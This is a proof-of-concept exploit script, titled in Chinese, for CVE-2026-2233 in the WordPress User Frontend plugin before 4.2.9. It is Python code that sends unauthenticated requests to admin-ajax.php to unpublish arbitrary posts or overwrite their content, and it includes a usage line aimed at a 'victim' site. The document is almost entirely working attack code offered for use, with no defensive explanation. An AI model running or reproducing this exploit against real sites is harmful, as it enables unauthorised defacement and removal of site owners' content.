CVE-2026-2233 WordPress User Frontend插件未授权任意帖子修改漏洞

import requests import sys # CVE-2026-2233 PoC - Unauthenticated Arbitrary Post Modification # Target: WordPress User Frontend Plugin < 4.2.9 def exploit(target_url, post_id, action='unpublish'): """ Exploit the missing capability check in draft_post() function Args: target_url: Base URL of the WordPress site post_id: ID of the post to modify action: 'unpublish' to unpublish the post, 'overwrite' to change content """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" if action == 'unpublish': # Unpublish the target post by changing status to draft data = { 'action': 'wpuf_draft_post', 'post_id': post_id, 'post_status': 'draft' } elif action == 'overwrite': # Overwrite post content data = { 'action': 'wpuf_draft_post', 'post_id': post_id, 'post_title': 'Compromised by CVE-2026-2233', 'post_content': 'This post has been modified by an unauthenticated attacker.' } print(f"[*] Sending exploit request to {endpoint}") print(f"[*] Target Post ID: {post_id}") print(f"[*] Action: {action}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: print("[!] Exploit sent - verify post modification manually") except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <post_id> [action]") print("Example: python exploit.py http://victim.com 123 unpublish") sys.exit(1) target = sys.argv[1] post_id = sys.argv[2] action = sys.argv[3] if len(sys.argv) > 3 else 'unpublish' exploit(target, post_id, action)